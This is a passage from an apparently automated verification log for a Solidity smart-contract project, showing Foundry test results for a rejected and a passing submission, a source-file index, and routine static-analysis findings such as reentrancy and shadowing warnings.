passed; 15 failed; 0 skipped; finished in 6.27ms (7.72ms CPU time)\n{\"timestamp\":1792562170,\"event\":\"failure\",\"invariant\":\"invariantBuybackCannotExceedItsFrozenTenTrancheBudget\",\"target\":\"test/VaultInvariants.t.sol:VaultInvariantsTest\",\"reason\":\"EvmError: Revert\"}\n{\"timestamp\":1792562170,\"event\":\"failure\",\"invariant\":\"invariantEpochAccountingIsFullyBacked\",\"target\":\"test/VaultInvariants.t.sol:VaultInvariantsTest\",\"reason\":\"EvmError: Revert\"}\n{\"timestamp\":1792562170,\"event\":\"failure\",\"invariant\":\"invariantIMDCanOnlyReachAuthorizedDestinations\",\"target\":\"test/VaultInvariants.t.sol:VaultInvariantsTest\",\"reason\":\"EvmError: Revert\"}\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[FAIL: EvmError: Revert] invariantBuybackCannotExceedItsFrozenTenTrancheBudget\n\t[Sequence] (original: 8, shrunk: 1)\n\t\tsender=0x0000000000000000000000000000000000001129 addr=[test/VaultInvariants.t.sol:VaultHandler]0xD16d567549A2a2a2005aEACf7fB193851603dd70 calldata=distribute(uint128) args=[120400761612161619773516945791131 [1.204e32]]\n\n[FAIL: EvmError: Revert] invariantEpochAccountingIsFullyBacked\n\t[Sequence] (original: 8, shrunk: 1)\n\t\tsender=0x0000000000000000000000000000000000001129 addr=[test/VaultInvariants.t.sol:VaultHandler]0xD16d567549A2a2a2005aEACf7fB193851603dd70 calldata=distribute(uint128) args=[120400761612161619773516945791131 [1.204e32]]\n\n[FAIL: EvmError: Revert] invariantIMDCanOnlyReachAuthorizedDestinations\n\t[Sequence] (original: 8, shrunk: 1)\n\t\tsender=0x0000000000000000000000000000000000001129 addr=[test/VaultInvariants.t.sol:VaultHandler]0xD16d567549A2a2a2005aEACf7fB193851603dd70 calldata=distribute(uint128) args=[120400761612161619773516945791131 [1.204e32]]\n\nVaultInvariantsTest invariants: 3/3 invariants broken\n[FAIL: EvmError: Revert] invariantBuybackCannotExceedItsFrozenTenTrancheBudget\n[FAIL: EvmError: Revert] invariantEpochAccountingIsFullyBacked\n[FAIL: EvmError: Revert] invariantIMDCanOnlyReachAuthorizedDestinations\n3 invariant failure(s) persisted to cache/invariant/failures/VaultInvariantsTest — rerun to shrink\n VaultInvariantsTest invariants (runs: 1, calls: 8, reverts: 1)\n\n╭--------------+------------+-------+---------+----------╮\n| Contract     | Selector   | Calls | Reverts | Discards |\n+========================================================+\n| VaultHandler | answer     | 1     | 0       | 0        |\n|--------------+------------+-------+---------+----------|\n| VaultHandler | buyback    | 3     | 0       | 0        |\n|--------------+------------+-------+---------+----------|\n| VaultHandler | claim      | 1     | 0       | 0        |\n|--------------+------------+-------+---------+----------|\n| VaultHandler | distribute | 1     | 1       | 0        |\n|--------------+------------+-------+---------+----------|\n| VaultHandler | donate     | 1     | 0       | 0        |\n|--------------+------------+-------+---------+----------|\n| VaultHandler | rollover   | 1     | 0       | 0        |\n╰--------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 64020175619773516944587124\n  Bound result 64020175619773516944587124\n  Bound result 64020175619773516944587124\n\nSuite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 18.96ms (16.55ms CPU time)\n\nRan 15 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindingOnlyDevOnceAndPropagatesVerifiedPool() (gas: 470402)\n[PASS] testCannotDistributeBeforeBinding() (gas: 37301)\n[FAIL: EvmError: Revert] testClaimFailureDoesNotBlockExistingBalances() (gas: 676438)\n[PASS] testConstructorDeploysOnlyLinkedUnownedChildrenWithoutDependencies() (gas: 172208)\n[FAIL: EvmError: Revert; counterexample: calldata=0x1086620600000000000000000000000000000000000c1ed7d1f0fb84b057a28ec98a4079 args=[62933133619165059520518969256198265 [6.293e34]]] testFuzzSplitConservesEveryRawUnit(uint128) (runs: 2, μ: 476200, ~: 476200)\n[PASS] testInvalidLaunchBodyOrUnsoldActionCannotConsumeOneShot() (gas: 212385)\n[PASS] testLaunchOnlyDevOnceExactPriceAndVaultIsPayer() (gas: 498140)\n[FAIL: EvmError: Revert] testOracleOutageDoesNotBlockSplitAndLeavesEpochSolvent() (gas: 656803)\n[FAIL: EvmError: Revert] testOutOfGasFeeClaimDoesNotConsumeDistributionGas() (gas: 1674003)\n[PASS] testRejectedLaunchCanBeRetriedAndReadsNewPrice() (gas: 486156)\n[FAIL: EvmError: Revert] testRejectingNativeRecipientCannotBlockSplitAndLaterGetsAllEth() (gas: 793465)\n[PASS] testRejectsWrongRequesterAndWrongPairWithoutConsumingBinding() (gas: 628080)\n[FAIL: EvmError: Revert] testSevenDayBoundaryAndNoReentrantDistribution() (gas: 641108)\n[FAIL: EvmError: Revert] testSplitBurnAndNativeFactoryPayoutIncludingPreexistingBalances() (gas: 810528)\n[PASS] testZeroBalanceDistributesNativeAndBurnWithoutOraclePayment() (gas: 537088)\nSuite result: FAILED. 8 passed; 7 failed; 0 skipped; finished in 251.82ms (16.99ms CPU time)\n\nRan 14 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropWaitsForFinalTranche() (gas: 605925)\n[PASS] testBuybackThirtyMinuteAndTenMinuteBoundaries() (gas: 777718)\n[PASS] testEmptyBalanceCannotFreezeAllocation() (gas: 655594)\n[PASS] testFuzzAirdropRoundingNeverExceedsSnapshot(uint128) (runs: 1000, μ: 5690920, ~: 5889544)\n[PASS] testFuzzStrictTrancheCapAndDust(uint128) (runs: 1000, μ: 2153696, ~: 2290040)\nLogs:\n  Bound result 129083987489005373859418339366\n\n[PASS] testLaterDonationCannotExpandTranchesOrKeepAirdropLocked() (gas: 2450407)\n[PASS] testListConstantsAreExactAndNoRootSetterExists() (gas: 136560)\n[PASS] testMalformedBatchesRevertBadProofsAndWeightsAreSkipped() (gas: 494531)\n[PASS] testNoOutputRevertsWithoutSpending() (gas: 443121)\n[PASS] testRealRootRejectsTamperedWeightAndUnlistedWallet() (gas: 326450)\n[PASS] testRejectedOrPartialSwapRollsBackBudgetClockAndTokenTransfer() (gas: 1012621)\n[PASS] testTenTranchesSpendInitialBudgetAndCannotRepeat() (gas: 2324017)\n[PASS] testUnlockCannotBeCalledOutsideActiveBuybackEvenByManager() (gas: 536051)\n[PASS] testValidProofsPayDirectlyProRataOnlyOnceAndFreezeBalance() (gas: 2974051)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 252.16ms (381.62ms CPU time)\n\nRan 8 test suites in 254.31ms (537.86ms CPU time): 35 tests passed, 23 failed, 1 skipped (59 total tests)\n\nFailing tests:\nEncountered 15 failing tests in test/HolderRewards.t.sol:HolderRewardsTest\n[FAIL: EvmError: Revert] testAggregateClaimsCannotExceedPotEvenWhenEachClaimFits() (gas: 270084)\n[FAIL: EvmError: Revert] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 269908)\n[FAIL: EvmError: Revert] testBadExpiredFutureAndTamperedSignaturesRejected() (gas: 270326)\n[FAIL: EvmError: Revert] testDepositRequestsCanonicalBodyAtDepositArbitrumBlock() (gas: 270737)\n[FAIL: EvmError: Revert] testEvenSignedOversizedTreeCannotDrainAnotherEpoch() (gas: 270172)\n[FAIL: EvmError: Revert; counterexample: calldata=0x3ad5da2a00000000000000000000000000000000000000000002966dfb8f8f31793c02300000000000000000000000000000000000000000000000000000000000000035 args=[3128235433628207312273968 [3.128e24], 53]] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 0, μ: 0, ~: 0)\n[FAIL: EvmError: Revert] testLateCallbackCannotReviveClosedEpoch() (gas: 270194)\n[FAIL: EvmError: Revert] testOnlyIntakeUnknownRequestAndReplayChecks() (gas: 270238)\n[FAIL: EvmError: Revert] testOversizedRootCannotSpendCarryReservedForNextSnapshot() (gas: 270128)\n[FAIL: EvmError: Revert] testRetryPaysFromSponsorNotPotsAndInvalidatesOldIntakeId() (gas: 270150)\n[FAIL: EvmError: Revert] testRolloverExactlyUnclaimedClosesOldAndCarryBecomesNextSnapshot() (gas: 270412)\n[FAIL: EvmError: Revert] testSmallDepositNeverSpendsOlderEpochReserve() (gas: 269974)\n[FAIL: EvmError: Revert] testSnapshotPayoutDoesNotDependOnCurrentHoldingAndDoubleClaimFails() (gas: 399434)\n[FAIL: EvmError: Revert] testUnansweredAndEmptyRootEpochsCanRollOverWithoutOracle() (gas: 270436)\n[FAIL: EvmError: Revert] testWrongChainBlockAnswerTypeAndWeakPanelRejected() (gas: 269886)\n\nEncountered 7 failing tests in test/SIMDVault.t.sol:SIMDVaultTest\n[FAIL: EvmError: Revert] testClaimFailureDoesNotBlockExistingBalances() (gas: 676438)\n[FAIL: EvmError: Revert; counterexample: calldata=0x1086620600000000000000000000000000000000000c1ed7d1f0fb84b057a28ec98a4079 args=[62933133619165059520518969256198265 [6.293e34]]] testFuzzSplitConservesEveryRawUnit(uint128) (runs: 2, μ: 476200, ~: 476200)\n[FAIL: EvmError: Revert] testOracleOutageDoesNotBlockSplitAndLeavesEpochSolvent() (gas: 656803)\n[FAIL: EvmError: Revert] testOutOfGasFeeClaimDoesNotConsumeDistributionGas() (gas: 1674003)\n[FAIL: EvmError: Revert] testRejectingNativeRecipientCannotBlockSplitAndLaterGetsAllEth() (gas: 793465)\n[FAIL: EvmError: Revert] testSevenDayBoundaryAndNoReentrantDistribution() (gas: 641108)\n[FAIL: EvmError: Revert] testSplitBurnAndNativeFactoryPayoutIncludingPreexistingBalances() (gas: 810528)\n\nEncountered 1 failing test in test/VaultInvariants.t.sol:VaultInvariantsTest\n[FAIL: EvmError: Revert] invariantBuybackCannotExceedItsFrozenTenTrancheBudget\n\t[Sequence] (original: 8, shrunk: 1)\n\t\tsender=0x0000000000000000000000000000000000001129 addr=[test/VaultInvariants.t.sol:VaultHandler]0xD16d567549A2a2a2005aEACf7fB193851603dd70 calldata=distribute(uint128) args=[120400761612161619773516945791131 [1.204e32]]\n\n[FAIL: EvmError: Revert] invariantEpochAccountingIsFullyBacked\n\t[Sequence] (original: 8, shrunk: 1)\n\t\tsender=0x0000000000000000000000000000000000001129 addr=[test/VaultInvariants.t.sol:VaultHandler]0xD16d567549A2a2a2005aEACf7fB193851603dd70 calldata=distribute(uint128) args=[120400761612161619773516945791131 [1.204e32]]\n\n[FAIL: EvmError: Revert] invariantIMDCanOnlyReachAuthorizedDestinations\n\t[Sequence] (original: 8, shrunk: 1)\n\t\tsender=0x0000000000000000000000000000000000001129 addr=[test/VaultInvariants.t.sol:VaultHandler]0xD16d567549A2a2a2005aEACf7fB193851603dd70 calldata=distribute(uint128) args=[120400761612161619773516945791131 [1.204e32]]\n\nVaultInvariantsTest invariants: 3/3 invariants broken\n[FAIL: EvmError: Revert] invariantBuybackCannotExceedItsFrozenTenTrancheBudget\n[FAIL: EvmError: Revert] invariantEpochAccountingIsFullyBacked\n[FAIL: EvmError: Revert] invariantIMDCanOnlyReachAuthorizedDestinations\n3 invariant failure(s) persisted to cache/invariant/failures/VaultInvariantsTest — rerun to shrink\n VaultInvariantsTest invariants (runs: 1, calls: 8, reverts: 1)\n\nEncountered a total of 23 failing tests, 35 tests succeeded\n\nTip: Run `forge test --rerun` to retry only the 23 failed tests\n\nFuzz seed: 0x547f4d53a2f8e5ab7d131094c43e5240c29a493ed4b594ab5c19e1e9aaafa71e (use `--fuzz-seed` to reproduce)\n","passed":false}],"detail":"test failed with exit code 1","evaluation":"checks","profile":"foundry","status":"rejected","submissionHash":"5b51739d5abf4fc07f57d1ec7dd4233a2053c7ac10cc95be7c917e7b488f7620","verifiedTreeHash":"3db17be53d142f32d7cecc3218e28b93b1453c89","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":45250,"exitCode":0,"name":"build","output":"Compiling 113 files with Solc 0.8.26\nSolc 0.8.26 finished in 45.14s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:132:10:\n    |\n132 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:182:9:\n    |\n182 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":519,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 461.10µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 793.83µs (517.07µs CPU time)\n\nRan 5 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4PushedPriceMovesReferenceOneStepPerIntervalAndFillsNothing() (gas: 4396016)\n[PASS] testRealV4ThinPoolTranchesStayInsidePriceBandAndBuybackEnds() (gas: 3184326)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4315349)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4305860)\n[PASS] testUninitializedPoolCannotBind() (gas: 229526)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 6.64ms (15.86ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29832334)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.65ms (45.52ms CPU time)\n\nRan 7 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1207458)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663610)\n[PASS] testNoVaultWideCapStarvesAnEligibleHolder() (gas: 6122748)\n[PASS] testNoVaultWideSelectorsExist() (gas: 370363)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384635)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1228169)\n[PASS] testSixDecimalsThreshold() (gas: 1235008)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 48.52ms (7.83ms CPU time)\n\nRan 12 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920837)\n[PASS] testBoundLaunchCannotBeReopenedByALateFailure() (gas: 733625)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1632760, ~: 804428)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868535)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 558337)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 126245)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3098677)\n[PASS] testRefusedLaunchReopensTheOneTimeCallAndOnlyIntakeForTheOwnRequest() (gas: 977243)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686780)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 825544)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3043056)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3532009)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 78.87ms (90.11ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2526163)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2256443)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1848572)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1969716, ~: 1970365)\nLogs:\n  Bound result 11524\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 721352)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2136418)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 565502)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 85.83ms (93.13ms CPU time)\n\nRan 19 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2937961)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3838272)\n[PASS] testCarryFundedEpochPaysItsOwnOracleRequest() (gas: 4453164)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3218360)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3211392)\n[PASS] testEmptyRootCanRollOver() (gas: 2918870)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2824268)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3074711, ~: 3072189)\nLogs:\n  Bound result 62960376726\n  Bound result 15576039939\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2802547)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144484)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4048086)\n[PASS] testRetrySponsorPaysAndEarlierRequestStillAnswersExactlyOnce() (gas: 4306652)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4111307)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6469407)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2798580)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3173022)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2846204)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3019157)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2842681)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 114.53ms (198.53ms CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n VaultInvariantsTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭--------------+----------------+-------+---------+----------╮\n| Contract     | Selector       | Calls | Reverts | Discards |\n+============================================================+\n| VaultHandler | advance        | 350   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | buyback        | 309   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | distribute     | 336   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | requestJob     | 334   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | rollover       | 365   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | settleAndClaim | 354   | 0       | 0        |\n╰--------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4282\n  Bound result 2640\n  Bound result 1\n  Bound result 1\n  Bound result 408138208491035112101529\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 86\n  Bound result 2\n  Bound result 2\n  Bound result 133034867010695035067637\n  Bound result 2100\n  Bound result 1\n  Bound result 9900\n  Bound result 3\n  Bound result 625112\n  Bound result 137095237273775517\n  Bound result 59096\n  Bound result 999999999999999999999999\n  Bound result 1463\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 408.93ms (406.46ms CPU time)\n\nRan 9 test suites in 410.83ms (790.23ms CPU time): 59 tests passed, 0 failed, 1 skipped (60 total tests)\n","passed":true},{"durationMs":53,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.onLaunchFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"SIMDVault.onLaunchResult(bytes32,bytes32,string)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":118,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":33,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":241,\"src/HolderRewards.sol\":312,\"src/JobsVault.sol\":54,\"src/Network.sol\":17,\"src/SIMDVault.sol\":172,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":34,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/CompensationVault.t.sol\":221,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":370,\"test/JobsVault.t.sol\":151,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":176,\"test/SIMDVault.t.sol\":251,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":239,\"test/VaultInvariants.t.sol\":140,\"test/mocks/Mocks.sol\":294,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":9075,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/CompensationVault.sol:97: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#97-152):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:97: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#97-152):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:97: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#97-152):\n[medium/high] incorrect-equality at src/CompensationVault.sol:161: CompensationVault.unlockCallback(bytes) (src/CompensationVault.sol#161-192) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:194: CompensationVault.airdrop(address[],uint256[],bytes32[][]) (src/CompensationVault.sol#194-223) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:97: CompensationVault.buyback() (src/CompensationVault.sol#97-152) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:97: CompensationVault.buyback() (src/CompensationVault.sol#97-152) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:97: CompensationVault.buyback() (src/CompensationVault.sol#97-152) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/HolderRewards.sol:263: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#263-284):\n[medium/medium] reentrancy-no-eth at src/CompensationVault.sol:97: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#97-152):\n[medium/medium] uninitialized-local at src/HolderRewards.sol:94: HolderRewards.onDeposit(uint256).carry (src/HolderRewards.sol#94) is a local variable never initialized\n[medium/medium] unused-return at src/CompensationVault.sol:97: CompensationVault.buyback() (src/CompensationVault.sol#97-152) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(poolKey.toId()) (src/CompensationVault.sol#141)\n[medium/medium] unused-return at src/SIMDVault.sol:130: SIMDVault.bindLaunch(uint64,address) (src/SIMDVault.sol#130-141) ignores return value by (key,None,None,requester) = ILaunchFactory(FACTORY).positionOf(number) (src/SIMDVault.sol#132)\n[medium/medium] unused-return at src/CompensationVault.sol:97: CompensationVault.buyback() (src/CompensationVault.sol#97-152) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(poolKey.toId()) (src/CompensationVault.sol#121)\n[medium/medium] unused-return at src/CompensationVault.sol:72: CompensationVault.setLaunch(address,PoolKey) (src/CompensationVault.sol#72-86) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(key.toId()) (src/CompensationVault.sol#79)\n[medium/medium] unused-return at src/SIMDVault.sol:143: SIMDVault.distribute() (src/SIMDVault.sol#143-171) ignores return value by ILaunchFactory(FACTORY).claimFees{gas: CLAIM_GAS_LIMIT}(launchNumber) (src/SIMDVault.sol#147-150)\n[low/high] shadowing-local at src/CompensationVault.sol:182: CompensationVault.unlockCallback(bytes).paid (src/CompensationVault.sol#182) shadows:\n[low/high] shadowing-local at src/CompensationVault.sol:132: CompensationVault.buyback().paid (src/CompensationVault.sol#132) shadows:\n[low/medium] events-maths at src/JobsVault.sol:33: JobsVault.setToken(address) (src/JobsVault.sol#33-38) should emit an event for: \n[low/medium] missing-zero-check at src/SIMDVault.sol:130: SIMDVault.bindLaunch(uint64,address).token_ (src/SIMDVault.sol#130) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/CompensationVault.sol:97: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#97-152):\n[low/medium] reentrancy-benign at src/HolderRewards.sol:263: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#263-284):\n[low/medium] reentrancy-benign at src/SIMDVault.sol:84: Reentrancy in SIMDVault.launch(bytes) (src/SIMDVault.sol#84-104):\n[low/medium] reentrancy-events at src/HolderRewards.sol:263: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#263-284):\n[low/medium] timestamp at src/JobsVault.sol:40: JobsVault.requestJob(bytes) (src/JobsVault.sol#40-53) uses timestamp for comparisons\n[low/medium] timestamp at src/HolderRewards.sol:127: HolderRewards.retryOracle(uint256) (src/HolderRewards.sol#127-136) uses timestamp for comparisons\n[low/medium] timestamp at src/HolderRewards.sol:185: HolderRewards.rollover(uint256) (src/HolderRewards.sol#185-200) uses timestamp for comparisons\n[low/medium] timestamp at src/SIMDVault.sol:143: SIMDVault.distribute() (src/SIMDVault.sol#143-171) uses timestamp for comparisons\n[low/medium] timestamp at src/oracle/OracleAttestation.sol:164: OracleAttestationConsumer._verifyAttestation(OracleAttestation.Attestation,bytes) (src/oracle/OracleAttestation.sol#164-175) uses timestamp for comparisons\n[low/medium] timestamp at src/CompensationVault.sol:97: CompensationVault.buyback() (src/CompensationVault.sol#97-152) uses timestamp for comparisons","passed":true},{"durationMs":731,"exitCode":0,"name":"aderyn","output":"[high] eth-send-unchecked-address at src/SIMDVault.sol:143: ETH transferred without address checks\n[high] reentrancy-state-change at src/CompensationVault.sol:106: Reentrancy: State change after external call (16 places)\n[low] costly-loop at src/CompensationVault.sol:210: Costly operations inside loop\n[low] internal-function-used-once at src/oracle/OracleAttestation.sol:205: Internal Function Used Only Once (2 places)\n[low] large-numeric-literal at src/CompensationVault.sol:32: Large Numeric Literal (8 places)\n[low] literal-instead-of-constant at src/HolderRewards.sol:153: Literal Instead of Constant (23 places)\n[low] local-variable-shadowing at src/CompensationVault.sol:132: Local Variable Shadows State Variable (2 places)\n[low] non-reentrant-not-first at src/HolderRewards.sol:89: `nonReentrant` is Not the First Modifier (3 places)\n[low] require-revert-in-loop at src/CompensationVault.sol:210: Loop Contains `require`/`revert` (3 places)\n[low] state-change-without-event at src/CompensationVault.sol:161: State Change Without Event\n[low] state-no-address-check at src/SIMDVault.sol:135: Address State Variable Set Without Checks\n[low] uninitialized-local-variable at src/CompensationVault.sol:210: Uninitialized Local Variable (5 places)","passed":true},{"durationMs":11631,"exitCode":0,"name":"proof cdda753debca","output":"Compiling 105 files with Solc 0.8.26\nSolc 0.8.26 finished in 10.99s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:132:10:\n    |\n132 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     